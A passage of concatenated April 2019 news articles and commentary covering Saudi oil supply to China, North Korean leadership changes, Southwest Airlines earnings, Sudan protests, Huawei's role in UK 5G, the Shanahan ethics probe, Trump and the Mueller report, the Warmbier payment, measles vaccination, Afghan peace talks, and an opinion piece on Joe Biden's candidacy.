more crude oil after the United States decided to end sanction waivers on Iranian oil imports that had permitted Beijing to keep buying from Tehran. The United States re-imposed sanctions against Iran's oil exports last November, but Washington initially allowed the eight biggest buyers of Iranian oil - China is number 1 - to keep purchasing limited imports for six months ending April. Al-Falih spoke briefly on the sidelines of a visit to Beijing for a summit on China's Belt and Road economic development initiative, rebuilding the old Silk Road to connect China with Asia, Europe and beyond. Beijing has criticized the U.S. move to re-impose Iran oil sanctions. U.S. officials, speaking during a separate media call earlier on Thursday, said they were confident China would be able to find alternative supplies to Iran. Asked if other Asian buyers had asked for more crude oil, al-Falih said: "In the beginning of May, we will find out demand for June and will be responsive." Saudi Arabia's April crude oil production was nearly steady with previous months and will be in the 9.8 million barrels per day (bpd) range or "maybe lower", he said. Before the reimposition of sanctions, Iran was one of the biggest producers among the Organization of the Petroleum Exporting Countries (OPEC) at close to 4 million bpd. Iran's oil exports have now dropped to about 1 million bpd. As a result of the tightening sanctions against Iran, and because of voluntary supply cuts by other OPEC-members including Saudi Arabia, crude oil prices reached their highest levels in six months this week. [O/R] (Reporting by Dominique Patton; Writing by Shivani Singh; Editing by Henning Gloystein and Kenneth Maxwell) SEOUL, South Korea (AP) North Korean leader Kim Jong Un's most trusted policy adviser has been removed from one of his posts, a South Korean lawmaker said Wednesday, a reshuffle that if confirmed may be related to the breakdown of the North Korea-U.S. summit in Hanoi in February. The head of parliament's intelligence committee, Lee Hye-hoon, cited South Korea's main spy agency as saying that Kim Yong Chol lost his Workers' Party post in charge of relations with South Korea earlier this month. He was replaced by little-known Jang Kum Chol as director of the party's United Front Department, Lee said. Lee said she obtained the information at a private briefing by the National Intelligence Service. Kim Yong Chol has been North Korea's top nuclear negotiator and the counterpart of U.S. Secretary of State Mike Pompeo since Kim Jong Un entered nuclear talks with the U.S. early last year. He traveled to Washington and met President Donald Trump twice before Kim's two summits with Trump. His rise had baffled many North Korea watchers because he handled South Korea ties, not international or U.S. relations. Previously, he was a military intelligence chief believed to be behind a slew of provocations, including two deadly attacks in 2010 that killed 50 South Koreans and an alleged 2014 cyberattack on Sony Pictures. Both Seoul and Washington imposed sanctions on him in recent years. The NIS and the Unification Ministry, a Seoul agency responsible for North Korea ties, said they could not immediately confirm the information on Kim Yong Chol. The NIS has a spotty record in reporting developments in North Korea. But if confirmed, Kim Yong Chol's replacement would add to speculation that he is being sidelined from nuclear diplomacy to take responsibility for the failure of the Hanoi summit. Kim Jong Un, who is desperate to revive his country's moribund economy, returned home empty-handed from Hanoi after Trump rejected his calls for easing U.S.-led sanctions in return for dismantling a key nuclear complex, a limited denuclearization step. Story continues Kim Yong Chol isn't among a list of officials accompanying Kim Jong Un on his current visit to Russia, which began earlier Wednesday. Many experts in South Korea said North Korean Foreign Minister Ri Yong Ho and First Vice Foreign Minister Choe Son Hui are likely to take the lead in the nuclear diplomacy. "(North Korea's) significantly diminished reliance on Kim Yong Chol is a very positive sign for the denuclearization negotiations between North Korea and the United States," said Cheong Seong-Chang, an analyst at South Korea's Sejong Institute. He called Kim Yong Chol "most responsible" for the second summit's failure due to his hard-line stance. While the NIS believes the personnel change possibly indicates that the United Front Department is now taking a back seat in the nuclear negotiations with Washington, the spy agency also said it wasn't immediately clear whether Kim Yong Chol would be removed from the talks entirely or immediately, Lee said. Kim still holds several other prominent titles, including vice chairman of the Workers Party's Central Committee and member of the powerful State Affairs Commission. Southwest Airlines (NYSE: LUV) entered the first quarter expecting to post strong profit growth, driven by a 4% to 5% increase in revenue per available seat mile (RASM). However, during the quarter, the carrier was forced to cut its forecast twice, due to the lingering impact of the federal government shutdown and a spike in flight cancellations. Sure enough, Southwest's first-quarter earnings report -- released on Thursday morning -- showed that unit revenue missed management's initial expectations while unit costs came in far above the original guidance. Furthermore, the grounding of the Boeing (NYSE: BA) 737 MAX will continue to weigh on Southwest Airlines' profitability for at least the next quarter or two. Southwest Airlines results: The raw numbers Metric Q1 2019 Q1 2018 Year-Over-Year Change Revenue $5.15 billion $4.94 billion 4.1% Total unit revenue 13.59 cents 13.23 cents 2.7% Adjusted cost per available seat mile excluding fuel 9.58 cents 8.92 cents 7.4% Adjusted net income $387 million $438 million (11.6%) Adjusted operating margin 9.8% 11.8% N/A Adjusted EPS $0.70 $0.75 (6.7%) Data source: Southwest Airlines Q1 earnings release. Chart by author. What happened with Southwest Airlines this quarter? The first quarter was an action-packed period for Southwest Airlines. For the first several weeks of the quarter, the government shutdown hurt travel demand, while also delaying the "ETOPS" approval Southwest needed to begin flying to Hawaii. In mid-February, a new headwind appeared. Longstanding tensions between Southwest and its mechanics -- who have been working under a contract that became amendable in 2012 -- spilled out into the open, as the number of maintenance-related flight cancellations spiked. This exacerbated the impact of winter storms on Southwest's reliability. (Fortunately, the airline and its mechanics' union recently reached a tentative agreement on a new contract. Union members will vote over the next several weeks on whether to ratify the tentative agreement.) Story continues The biggest disruption of all began in mid-March, with the worldwide grounding of the Boeing 737 MAX. Southwest Airlines is the No. 1 737 MAX operator in the world. Its 34 Boeing 737 MAX 8s account for more than 4% of its fleet, and it is scheduled to add another 41 737 MAX jets to its fleet by the end of 2019. Thus, the grounding led to yet more flight cancellations. A Southwest Airlines Boeing 737 MAX 8 parked on the tarmac Southwest has the largest 737 MAX fleet of any airline. Image source: Southwest Airlines. Together, these disruptions caused Southwest's first-quarter capacity to come in more than 2% below its initial plan. As a result, adjusted nonfuel unit costs jumped 7.4% (or 8.1%, excluding profit-sharing expense), far exceeding the carrier's 2.7% RASM increase. Still, Southwest Airlines posted a respectable 9.8% operating margin in the quarter, and adjusted EPS fell just 6.7% year over year. One positive highlight of the quarter was that Southwest finally gained its ETOPS approval, allowing it to launch flights to Hawaii in mid-March. By the end of next month, it will operate six daily roundtrips between the West Coast and Hawaii, as well as eight daily roundtrips within the state of Hawaii. The airline plans to add a lot more flights to and within Hawaii once it can get its Boeing 737 MAX fleet back in the air. What management had to say CEO Gary Kelly noted that the surge in flight cancellations last quarter strained Southwest's operations and had a severe negative impact on its profitability. However, he pointed out that Southwest Airlines posted solid results in the first quarter despite those headwinds: Our People were tasked with minimizing disruptions for our Customers due to more than 10,000 flight cancellations arising from the grounding of the Boeing 737 MAX 8 aircraft (MAX), unscheduled maintenance disruptions in connection with efforts to reach a Tentative Agreement (TA) with the Aircraft Mechanics Fraternal Association (AMFA), and severe winter weather. We estimate the impact of these flight cancellations, combined with the impact of the U.S. government shutdown and softness in leisure revenue trends, reduced our first quarter 2019 net income by approximately $150 million. While our strong momentum coming into the year slowed, we drove record revenues, strong margins and cash flows, a healthy profitsharing accrual for our Employees, and significant returns for our Shareholders. Looking forward Southwest Airlines recently removed the Boeing 737 MAX from its schedule through early August. As a result, it expects capacity to fall 2% to 3% year over year this quarter. A Southwest Airlines jet preparing to land, with mountains in the background Image source: Southwest Airlines. The capacity reduction -- along with an easy year-over-year comparison -- will allow Southwest to post a stellar 5.5% to 7.5% RASM increase in the second quarter. Unfortunately, it will also drive up unit costs. The carrier expects adjusted nonfuel unit costs to surge 10.5% to 12.5% year over year, excluding profit-sharing expense. Fuel costs are on track to decline modestly year over year. This guidance implies that Southwest's profitability this quarter will be roughly in line with its year-ago performance. On the bright side, the Boeing 737 MAX has a good chance of returning to service later this summer or in the fall. As a result, the headwinds that Southwest Airlines is experiencing in the first half of 2019 should disappear by the end of the year. In the long run, Southwest could even benefit from the 737 MAX grounding. If other 737 MAX customers defer or cancel orders due to the model's bad reputation, Southwest Airlines may opt to build up its 737 MAX fleet even faster, while accelerating the retirement of older, less efficient 737-700s. In short, the Q1 profit decline shouldn't shake investors' faith in Southwest's long-term competitive advantages. More From The Motley Fool Adam Levine-Weinberg owns shares of Southwest Airlines. The Motley Fool owns shares of and recommends Southwest Airlines. The Motley Fool has a disclosure policy. Khartoum (AFP) - Thousands of Sudanese protesters performed the weekly Muslim prayers outside army headquarters on Friday, a day after a vast crowd of demonstrators flooded Khartoum to demand the military rulers cede power. Protesters have massed outside the army complex in central Khartoum since April 6, initially to demand the overthrow of longtime leader Omar al-Bashir. But since his ouster by the army on April 11, the protesters have kept up their sit-in, demanding the military council that took over hand power to a civilian administration. Despite international support for the protesters, the 10-member council has so far resisted, although three of its members resigned on Wednesday under pressure from the street. The resignations triggered jubilation among the protesters, who massed in their tens of thousands on Thursday in response to a call from their leaders for a "million-strong" march. Despite the scorching heat, the protesters were back in numbers on Friday, an AFP correspondent reported. "Freedom, freedom," they chanted as prayer leader Sheikh Matter Younis delivered the sermon. "We will not retreat until we get our main demand of civilian rule," said Younis, an activist from Sudan's war-torn western region of Darfur. He also called for the "symbols" of the old regime to be punished. "They must face fair and transparent justice, they have to be held accountable," he said, as the protesters chanted: "Blood for blood! We will not accept compensation!." - 'We are all Darfur' - Another Darfuri, Harun Adam, said his family lived in Kalma, one of the sprawling camps that are still home to hundreds of thousands of people displaced by the Bashir regime's brutal response to an ethnic minority revolt which erupted in 2003. "I'm here since April 6," when the sit-in started, Adam told AFP. "I'm ready to stay here for a year until we get our main demand, which is a civilian government and that all those who committed crimes be held accountable." Story continues Behind him crowds chanted: "One, two, three, four, we are all Darfur!" At a separate Friday prayer gathering in a mosque in south Khartoum, a prominent hardline imam, Abdelhai Yousef, called for a rally on Monday to protect the Islamic sharia law. "They want to write a secular constitution, but we will protect sharia," he said. "We will gather on Monday to tell them that sharia is a red line." On Friday, hundreds of protesters also arrived from the states of Sennar and North Kordofan to join the sit-in, witnesses said. The military council, led by General Abdel Fattah al-Burhan, says it has assumed power for a two-year transitional period. Protest leaders have held several rounds of talks with the council and the two sides have agreed to set up a joint committee to chart the way forward but there has so far been no breakthrough. - Joint committee within days - Rashid al-Sayed, a spokesman for the protest movement, told journalists on Friday that a four-year transitional period was required to ensure a "recovery programme" to pull Sudan out of crisis. He said protest leaders were in the process of choosing members for the planned joint committee with the military council. Sayed said the members of the committee will be announced within "days". The military council in a statement said it was in "continuous communication" with the protest movement and that it was waiting for it to nominate members for the joint committee. The protests in Sudan first erupted in December after Bashir's government tripled the price of bread, unleashing years of pent-up anger over worsening economic conditions. When asked by AFP about the economic impact of the continuing sit-in, protest leader Mohamed Naji al-Assam acknowledged that the economy was "deteriorating by the day". "But then the main reason that triggered the protests was the economic crisis," he said. Superfast 5G technology is coming to the UK (Getty) Theresa May has announced that Huawei will help build Britains new 5G network - despite warnings of the potential threat to national security. The National Security Council (NSC), chaired by the Prime Minister, agreed on Tuesday to allow the Chinese telecoms giant limited access to build "non-core" infrastructure such as antennas, according to the Daily Telegraph. However, ministers including Home Secretary Sajid Javid, Foreign Secretary Jeremy Hunt, Defence Secretary Gavin Williamson, International Trade Secretary Liam Fox and International Development Secretary Penny Mordaunt were said to have raised concerns about the decision, according to the Telegraph. Theresa May has agreed for Huawei to help build the tech despite security warnings (Getty) Downing Street refused to comment on the report. A spokeswoman said: "We don't comment on NSC discussions. Some critics have expressed concerns that the Chinese government could require the firm to install technological "back doors" to enable it spy on or disable Britain's communications network. Last month a Government-led committee set up to vet Huawei's products said it had found "significant technological issues" with its engineering processes leading to new risks to the UK network. Senior security figures warned publicly of the risks entailed in allowing a Chinese firm access to the UK's critical communications network (PA) What is 5G? Following 2G, 3G and 4G, 5G is set to be the fifth generation of mobile networks that will be much faster and more reliable than current 4G speeds. When is it expected to launch in Britain? Sooner than you might think - the four main mobile network operators (EE, O2, Three, Vodaphone) are all set to launch 5G in summer this year, although an exact date has not yet been announced. However, the rollout will not be nationwide, with only major cities like Cardiff, Edinburgh, Belfast, Birmingham, London and Manchester benefitting from the technology. Read more from Yahoo News UK: Sri Lankan police carry out controlled explosion on scooter Theresa May planning fourth vote on Brexit deal Gaming causes no ill effects in young boys The availability of 5G for broader use by the whole country is not expected until at least 2022 - or later. Story continues A 5G mobile network is also set to be tested during Glastonbury as part of EEs ongoing trials of the technology. EE has said it will install five temporary masts across the Worthy Farm site, which will enable festival-goers to connect to 2G, 3G, 4G and for the first time 5G networks. 5G tech is set to be faster and more reliable (Getty) How much faster will 5G be? With speeds in excess of 1Gb per second - rising to an expected 10Gb per second, 5G is set to transform how we watch films and listen to music. To put those speeds into perspective, the 10Gb/s is roughly 100 times faster than 4G, meaning phones and tablets with the tech will be able to download movies in as little as four seconds. To download a movie on standard 4G would take more than seven minutes, while it wouldve taken over a day for 3G to download. A Government-led committee set up to vet Huawei's products said it had found "significant technological issues" with its engineering processes (Getty) How much will it cost? New phones will be needed to handle 5G, which means investing in a phone capable of utilising it. UK networks have not yet announced their plans for the high-speed contracts but 5G-enabled phones currently coming to the market are already pricey - and companies may charge over 1,000 for a handset. What else can we expect? A greater capacity means that more devices - like fridges, televisions and cars - will become more able to be connected to each other, potentially leading to a surge in smart homes. More devices will be able to be controlled remotely from anywhere in the world - including drones, medical robots and even entire factories. The Pentagons watchdog cleared acting Secretary of Defense Patrick Shanahan in its investigation into whether he violated any ethics rules by promoting his longtime former employer Boeing Co. while serving in the Trump Administration. The reprieve removes a major hurdle for President Donald Trump to nominate him as Defense Secretary, a post that has been empty for 112 days since James Mattis resigned last December. The Department of Defense Office of Inspector General had launched the probe in the face of allegations he pushed military leadership to purchase more Boeing-made F-15X fighter jets and openly criticized Boeing-rival Lockheed Martin Corp. during government meetings. The allegations were based on referrals from an anonymous Senate Armed Services Committee attorney, Massachusetts Sen. Elizabeth Warrens staff, several media reports and an outside watchdog group, called Citizens for Responsibility and Ethics in Washington. The inspector general was able clear Shanahan in a just a month, which is lightning-quick for an Inspector Generals investigation that often run months-long. Over that time, investigators said they interviewed Shanahan and 33 witnesses, including top Pentagon brass, while also poring over more than 7,300 pages of classified and unclassified documents. We found that the allegations were not substantiated and that Mr. Shanahan fully complied with his ethics agreements and ethical obligations regarding Boeing and its competitors, the inspector general said in its 47-page report, which was made public Thursday. Shanahan, who came to the Pentagon after spending more than three decades at Boeing, has routinely fended off questions about potential conflicts of interest with the aerospace company, which also happens to be one of the largest suppliers for the U.S. military. In March, he told Congress that he welcomed any such investigation into his actions in office. The investigation came after Citizens for Responsibility and Ethics in Washington wrote a nine-page complaint in March to the Pentagons inspector general urging the agency to scrutinize the relationship. In its complaint, the group cited a Politico report from January that said Shanahan had been promoting Boeing while criticizing the F-35 Joint Strike Fighter, a Lockheed Martin program. The plane was f-cked up, he reportedly said, and Lockheed Martin doesnt know how to run a program. Story continues However, the inspector general said in its report that Shanahan told investigators that he never said the F-35 fighter jet, itself, was f-cked up. He told them the aircraft is awesome. However, Shanahan told investigators that he said the F-35 program was f-cked up. Evidently, that point of distinction was important, because the inspector general found his comments were substantive, related to the programs performance, and were consistent with comments about the F-35 program made by other senior Government officials. The inspector generals office interviewed those most likely to have encountered Shanahans alleged bias, including Shanahans old boss, Mattis; Gen. David Goldfein, the chief of staff of the U.S. Air Force; Marine Commandant Gen. Robert Neller. Investigators also reviewed Shanahans emails and other correspondence for terms related to Boeing and Boeing products. We determined that Mr. Shanahan did not make the alleged comments and did not promote Boeing, or disparage its competitors, the inspector generals report said. While Mr. Shanahan did routinely refer to his prior industry experience in meetings, witnesses interpreted it, and told us, that he was doing it to describe his experience and to improve Government management of DoD programs, rather than to promote Boeing or its products. The inspector general also cleared Shanahan of any wrongdoing in three other issues related to Boeing, which were also proven erroneous. I have never heard him mention, nor have I had a conversation [with him] about Boeing, and to the extent that the issue has come up we did Congressional testimony together, Chairman of the Joint Chiefs of Staff, General Joseph Dunford told investigators. Lieutenant Colonel Joe Buccino, a spokesman for Shanahan, did not comment on the findings. Acting Secretary Shanahans focus remains on our global operations, our strategy, and our service members, civilians, and families, he said in a statement. The resolution of the allegations takes on increased importance because Shanahan, 56, is the leading contender to become Defense Secretary. He has the dubious distinction of being the longest serving Acting Defense Secretary in the nations history. The path is now clear for the nomination, now that this dark cloud has passed. A Washington state native, Shanahan initially stepped into the No. 2 spot at the Pentagon in 2017 after leaving his business career at Boeing. A mechanical engineer by trade, with two advanced degrees from the Massachusetts Institute of Technology, Shanahan quietly turned around some of Boeings most troubled programs, including a multibillion-dollar missile defense system and the problem-plagued 787 commercial airliner. His success earned him the nickname, Mr. Fix-It, inside the company. At the Pentagon, Shanahan has assumed the role of a technocrat, leading efforts to cut wasteful spending and create a standalone Space Force a priority for Trump. Hes maintained a low public profile thus far, and he has not forged strong ties around Washington like Mattis, a retired four-star Marine general, had garnered. Shanahan, who has relatively little foreign policy experience, would assume the top job at a time of historic change around the world. Hell have to juggle the continued fight against terror groups in the Middle East, Russias renewed resurgence in Europe and Chinas muscular rise in Asia. Add to that the litany of other issues putting pressure on the liberal international order that won the Cold War and advanced American interests for a half century. Shanahan now has a daunting task of navigating this minefield, while also managing the expectations of a demanding Commander-in-Chief. For instance, the Pentagon entanglements in the Administrations immigration policy have worried both parties on Capitol Hill, and top U.S. military leaders have faced tough questions from Congress about the months-long troop presence along the southern border with Mexico. The Pentagon is also on the hook to help shelter 5,000 migrant children caught crossing the U.S. southern border without a parent. It shouldnt come as a surprise that well provide more support to the border, Shanahan told reporters on April 12. And the way I tend to frame that is, its our support is very elastic. President Donald Trump speaks to the annual meeting of the National Rifle Association, Friday, April 26, 2019, in Indianapolis. (Photo: Evan Vucci/AP) For 14 seasons, Donald Trump basked in his role as the unitary executive host of The Apprentice, wielding the reality shows signature catchphrase Youre fired! with moral clarity and undisputed power. But since riding his television fame to the White House, a very different Trump has emerged, one oddly reluctant to exercise his fabled boardroom bravado in the Oval Office. Consider the tweets posted this week by the man whose real genius may have been to recognize how easy it would be to span the gulf between reality television and political reality. As has been incorrectly reported by the Fake News Media, I never told then White House Counsel Don McGahn to fire Robert Mueller, even though I had the legal right to do so. If I wanted to fire Mueller, I didnt need McGahn to do it, I could have done it myself. Nevertheless,.... Donald J. Trump (@realDonaldTrump) April 25, 2019 ....Mueller was NOT fired and was respectfully allowed to finish his work on what I, and many others, say was an illegal investigation (there was no crime), headed by a Trump hater who was highly conflicted, and a group of 18 VERY ANGRY Democrats. DRAIN THE SWAMP! Donald J. Trump (@realDonaldTrump) April 25, 2019 .....Despite the fact that the Mueller Report was composed by Trump Haters and Angry Democrats, who had unlimited funds and human resources, the end result was No Collusion, No Obstruction. Amazing! Donald J. Trump (@realDonaldTrump) April 25, 2019 Trumps commentary comes, of course, in response to the release of Robert Muellers redacted report on Russian interference in the 2016 presidential election and the presidents efforts to keep it covered up. Specifically, Don McGahn, the former White House counsel, testified under oath to Mueller that Trump had called him on two occasions and directed him to call Deputy Attorney General Rod Rosenstein to have Mueller removed. Story continues As Fox News legal analyst Judge Andrew Napolitano put it Thursday, those orders constituted just two of the instances in which the Mueller report showed Trump had indeed obstructed justice. Setting aside the legal peril McGahns account represents for Trump, what stands out in the presidents explanation is how little he resembles his Apprentice persona. Trump has spent much of the past two years railing against Mueller as highly conflicted, part of a gang of Democrat thugs and James Comeys best friend. And yet, the president couldnt bring himself to say, Youre fired! to the man in charge of the total witch hunt that was ruining lives. If, as Trump stated in Thursdays tweets, believed he had the legal right to fire Mueller, why didnt he? Why let his investigation continue to ruin the lives of his underlings? Furthermore, if the end result was No Collusion, No Obstruction, why is Trump trying to prevent McGahn from testifying before Congress? White House counsel Don McGahn listens as Supreme Court nominee Brett Kavanaugh testifies before the Senate Judiciary Committee on Capitol Hill in Washington, Thursday, Sept. 27, 2018. (Photo: Saul Loeb/Pool/AP) Trump did, of course, fire Comey on May 9, 2017, although event itself wasnt exactly a face-to-face, boardroom affair. The FBI director, in fact, learned about his ouster from television during a visit to the bureaus Los Angeles field office. Initially, Trump denied that he had canned Comey over the investigation into his campaigns possible collusion with Russia, citing a letter Rosenstein had been ordered to write that said Comey had mishandled the investigation into Hillary Clintons use of a private email server. Days later, however, Trump reversed himself and admitted that this Russia thing was the real reason for Comeys dismissal. And, in fact, when I decided to just do it, I said to myself, I said, You know, this Russia thing with Trump and Russia is a made-up story, its an excuse by the Democrats for having lost an election that they should have won. Then the president turned his ire on Attorney General Jeff Sessions, who had recused himself from the investigation into Trumps ties with Russia. Acting in his stead, Rosenstein appointed Mueller as special counsel. How could you let this happen, Jeff? Trump demanded, according to the Mueller report. You were supposed to protect me. Oh my God. This is terrible, Trump continued. This is the end of my presidency. Im f***ed. As Attorney General William Barr noted in releasing Muellers redacted report, Trump was frustrated and angered by a sincere belief that the investigation was undermining his presidency. But it wasnt until the day after the 2018 elections that Trump dismissed Sessions, after a long Twitter campaign to mock and demean him, in what was widely viewed as an effort to get him to quit on his own. Trumps supporters may argue that, in the long run, Trump is indeed making good on his promise to drain the swamp. After all, McGahn, Comey and Sessions are all gone now. Rosenstein is on his way out and Muellers report has so far failed to elicit any protest from Republicans against the presidents scorched-earth campaign against congressional oversight. A still-small but growing number of Democrats, however, say the behavior chronicled in Muellers report, and the White Houses defiance of congressional subpoenas, are more than reason enough for him to be fired. Ultimately, though, it may be left to voters to decide whether to renew Trumps current reality show for another four years. _____ Read more from Yahoo News: WASHINGTON (Reuters) - U.S. President Donald Trump on Friday said the United States did not pay any money to North Korea as it sought the release of Otto Warmbier, a day after a report said Trump had approved a $2 million bill from Pyongyang for the American student's care. "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else," Trump wrote in a tweet. The Washington Post reported on Thursday that Trump had approved payment of a $2 million bill from Pyongyang to cover its care of the comatose college student, who was held in a North Korean prison for 17 months until June 2017. Warmbier, a University of Virginia student from Ohio visiting North Korea as a tourist, was imprisoned in January 2016. He was sentenced to 15 years of hard labor for allegedly trying to steal an item with a propaganda slogan from his hotel, North Korean state media said. Warmbier died six days after his release from North Korea. An Ohio coroner said Warmbier died from a lack of oxygen and blood to his brain. North Korea, which has dismissed claims that it tortured the student, blamed food poisoning and a sleeping pill. The Treasury Department received the bill from North Korea and it remained unpaid through 2017, the Post reported. It was not clear whether the administration paid the invoice later. Trump's tweet did not address whether any agreement had been made and representatives for the White House did not immediately respond to requests for comment. Asked whether it was accurate to say that no money was paid to North Korea in the Warmbier case, a State Department spokeswoman said by email: "We decline to comment." The Treasury Department did not respond to a request for comment. The Post said an invoice was handed to then State Department envoy Joseph Yun hours before Warmbier was flown out of Pyongyang in a coma on June 13, 2017. The U.S. envoy, who was sent to retrieve Warmbier, signed an agreement to pay the medical bill on instructions passed down from Trump, the Post reported, citing two unidentified people familiar with the situation. Yun, who has since retired from the State Department, told CNN on Thursday the United States did not pay any ransom for American prisoners held by Pyongyang while he was the special representative for North Korea. He left the post in March 2018. Last December, a U.S. court ordered North Korea to pay $501 million in damages for the torture and death of Warmbier. In his tweet on Friday morning, Trump defended his handling of hostage negotiations and slammed efforts by his Democratic predecessor Barack Obama. Speaking to reporters later on Friday, Trump said "that was a fake news report that money was paid." "I haven't paid money for any hostage," he said. "We dont pay money for hostages." In his tweet Trump noted that the Obama administration had swapped five Taliban prisoners to secure the release of Bowe Bergdahl, a U.S. Army sergeant who has since been dishonorably discharged. He accused Obama officials of paying ransom money in exchange for the return of four detained Americans in 2016, a charge the Obama administration has denied. The Obama administration had said the payment of $400 million to Iran settled a longstanding Iranian claim at the Hague that coincided with four detained Americans' return but was not a ransom. Obama had also defended the deal that led to Bergdahl's release and later changed the way the U.S. government handles cases in which Americans are detained by militant groups following a six-month review. A spokeswoman for Obama's office had no immediate comment on Trump's tweet. (Reporting by Makini Brice, Susan Heavey and David Brunnstrom; Editing by Chizu Nomiyama and James Dalgleish) By Susan Heavey and Jeff Mason WASHINGTON (Reuters) - U.S. President Donald Trump on Friday urged Americans to protect themselves with the measles vaccination as the number of cases of the once-eradicated disease in the United States hit the highest levels since 2000. The growing outbreak in pockets across the country has triggered multiple public health efforts seeking to limit exposure to measles, including quarantines at two California universities. "The vaccinations are so important. This is really going around now," Trump told reporters at the White House. "They have to get their shots." Nearly 700 cases have been confirmed by federal health officials as of this week in a resurgence that has been concentrated in a handful of states -- New York, Washington, Michigan, New Jersey and California -- although 22 states in all are affected. Measles can cause severe complications or death. So far, no U.S. fatalities have been reported. U.S. public health officials have lamented the preventable outbreak and have blamed the nationwide outbreak, which comes alongside a global rise in measles cases, in part on the spread of misinformation about vaccine safety. Some Americans have eschewed the vaccine for a variety of reasons from religious beliefs to doubts about modern medicine as well as lingering impacts from a debunked claim that vaccines cause autism. No link has been found between the measles vaccine and autism spectrum disorders. Complacency is also an issue. With fewer cases of the infectious disease in recent decades, much of the public has not seen its impact firsthand. Measles can cause pneumonia, brain swelling known as encephalitis, and severe ear infections that can lead to deafness, according the U.S. Centers for Disease Control and Prevention. It also can cause premature birth in pregnant women and, in rare cases, harm the central nervous system. Up to 90 percent of those not immunized who have close contact with an infected person are likely to contract measles, the CDC has said. On Thursday, county public health officials announced a quarantine at the University of California, Los Angeles and California State University, Los Angeles. New York City officials have declared a public health emergency after an outbreak in parts of Brooklyn and have taken the unusual step of ordering unvaccinated people in affected neighborhoods to be immunized. Trump, before winning the U.S. presidency, appeared to raise some doubts about vaccines, tweeting in 2014: "I believe in vaccinations but not massive, all at once, shots. Too much for small child to handle. Govt. should stop NOW!" Days before Trump took office in the White House in January 2017, vaccine skeptic Robert F. Kennedy Jr. told reporters Trump was planning a vaccine safety review panel, a project Trump's then-spokeswoman said was being explored but had not been decided. (Reporting by Jeff Mason and Makini Brice; Writing by Susan Heavey; Editing by Chizu Nomiyama and Jonathan Oatis) The United States on Friday found backing from rivals Russia and China on the key formula of a peace deal it is negotiating in Afghanistan -- withdrawing troops in return for Taliban pledges not to welcome foreign extremists. Zalmay Khalilzad, the US envoy who is set shortly to hold his latest round of talks with the Taliban, called the consensus a "milestone" in efforts to end the war after he met Russian and Chinese representatives in Moscow. A joint statement by the three countries called for an "inclusive Afghan-led" peace process and outlined points expected to feature in an eventual agreement. "The three sides call for an orderly and responsible withdrawal of foreign troops from Afghanistan as part of the overall peace process," said the statement issued by the US State Department. They also said that the Taliban have made a "commitment" to fight the extremist Islamic State group and sever ties to Al-Qaeda. The Taliban have promised to "ensure the areas they control will not be used to threaten any other country," the statement said, calling on them to prevent any "terrorist recruiting, training and fund-raising." Khalilzad said that the statement, along with his talks earlier in the week in London with European envoys, "means we have an emerging international consensus on US approach to end the war AND assurances terrorism never again emanates from Afghanistan." "More to do but important milestone," he tweeted. President Donald Trump is eager to end America's longest-ever war, which was launched in response to the September 11, 2001 attacks, when the then Taliban regime gave shelter to Al-Qaeda. Russia and China both have strong interests in Afghanistan. Some 14,000 Soviet soldiers were killed in Afghanistan from 1979 to 1989 in a conflict with US-backed Islamic guerrillas. China has been stepping up its involvement in Afghanistan both militarily and economically as it voices worries that militants could sneak into its restive Muslim-majority Xinjiang region. Story continues Khalilzad will also hold separate talks during his latest trip with Pakistan and India, which have strongly different views on Afghanistan. One major sticking point is the Taliban's refusal to negotiate with the government of Afghan President Ashraf Ghani, which has wide-ranging international support. The United States, Russia and China called on the Taliban to speak as soon as possible with a "broad, representative Afghan delegation that includes the government." One country that has criticized the US approach is Iran, whose foreign minister, Mohammad Javad Zarif, recently said that the United States had alienated Afghans by turning the Taliban into king-makers. Joe Biden has been ahead in the early polling for a long time. But, I wonder: Why? The argument for Joe Bidens nomination seems to be the one least likely to excite Democratic voters: hes old and white, and his nomination is a decent enough accommodation to Republican political enemies who are backward looking. That is a problem because two different large cohorts of Democrats want to move forward in different ways. An upwardly mobile section of woke white progressives wants to triumph in the cultural arena, not accommodate. And a more socialist-influenced core wants to move on from the Clinton and Obama policies they detest as half measures. Biden is now so aged in politics that he partially belongs to history. And of course, having been around long enough, he was frequently on the wrong side of it. At least by progressive sensibilities. He sponsored the 1994 crime bill, which is deplored as a sop to racist suburbanites and cops rather than a reaction to horrific crime rates. Earlier than that he opposed mandated school busing to create racially integrated schools. Some progressives are thrilled to see Mayor Pete Buttigieg fight the supposedly homophobic Vice President Mike Pence (Pences great offense is that he previously called Buttigieg a patriot). But back in 1973, Biden was asked by gay-rights activists about security clearances for homosexuals. Biden responded that his gut reaction was that homosexuals were security risks. All of these things could be excused in the way Obamas opposition to gay marriage was, as mere concessions to the regnant taboos and politics of the day. But Democrats want to vote for a leader who inspires them, not one who requires contextualization. The Biden campaigns implicit promise is a return to normalcy. But that is a rebuke to the liberal imagination of history, in which Obama was a welcome rupture with the tradition of 42 white men as U.S. president. And in which the arc of history destines Democrats to make another startling break from the norm. There are qualified women in the Democratic race, arent there? And women of color. And a gay man. Wouldnt electing one of them do more, symbolically, than electing another handsy old man on the premise that he is adept at coddling a politically fickle white working class? Bidens candidacy is an attempt by Democrats to bargain with Trumps America. Other candidates are promising to cleanse America from what Democrats see as the disgrace or even the sacrilege of Trumps presidency. Democrats dont want to bargain with the devil, they want an exorcist. Story continues If anything, recent presidential elections have taught the two major parties not to settle for someone who seems electable and unthreatening to swing voters, but to go with the candidate who excites them in the hope that excitement itself will be contagious. John Kerry as war veteran flopped. So did Romney. It was the candidates who drew impassioned crowds, Obama and Trump, who prevailed. But what about his accomplishments? Biden has historically positioned himself as a foreign-policy expert. But his record of judgment includes the very thing that disqualified Hillary Clinton for Democratic voters in 2008: a vote in support of the Iraq War. And despite Bidens experience and insight on foreign policy, his proposed solution for Iraq was in some ways the one later attempted by ISIS, cleaving it into pieces along religious lines. What this would have meant for Syria, for Saudi Arabia, and for the resultant states, which would not all have equal access to Iraqs resource wealth, he never quite speculated at the time. Some say that Biden is a reminder of the Obama years, and a counter-conventional wisdom is developing that nostalgia for the Obama years is precisely what the left wing of the party discounts at their peril. Bidens campaign logo, as a design proposition, tries to steal Obamas halo and place it on ol Joe himself. But, Obama was a history-making candidate, allowing voters to be aspirational about their country and themselves by voting for him. And Biden isnt. Biden is the white guy who got in trouble for calling Obama clean and articulate. For the voter set that is looking for a break with the mostly centrist economic orthodoxy of the Clintons and Obamas, Biden is a step backward as well. Biden helped write the 2005 Bankruptcy Abuse Prevention and Consumer Protection Act, which made it harder for consumers to escape their debts through bankruptcy, a gift for lenders such as 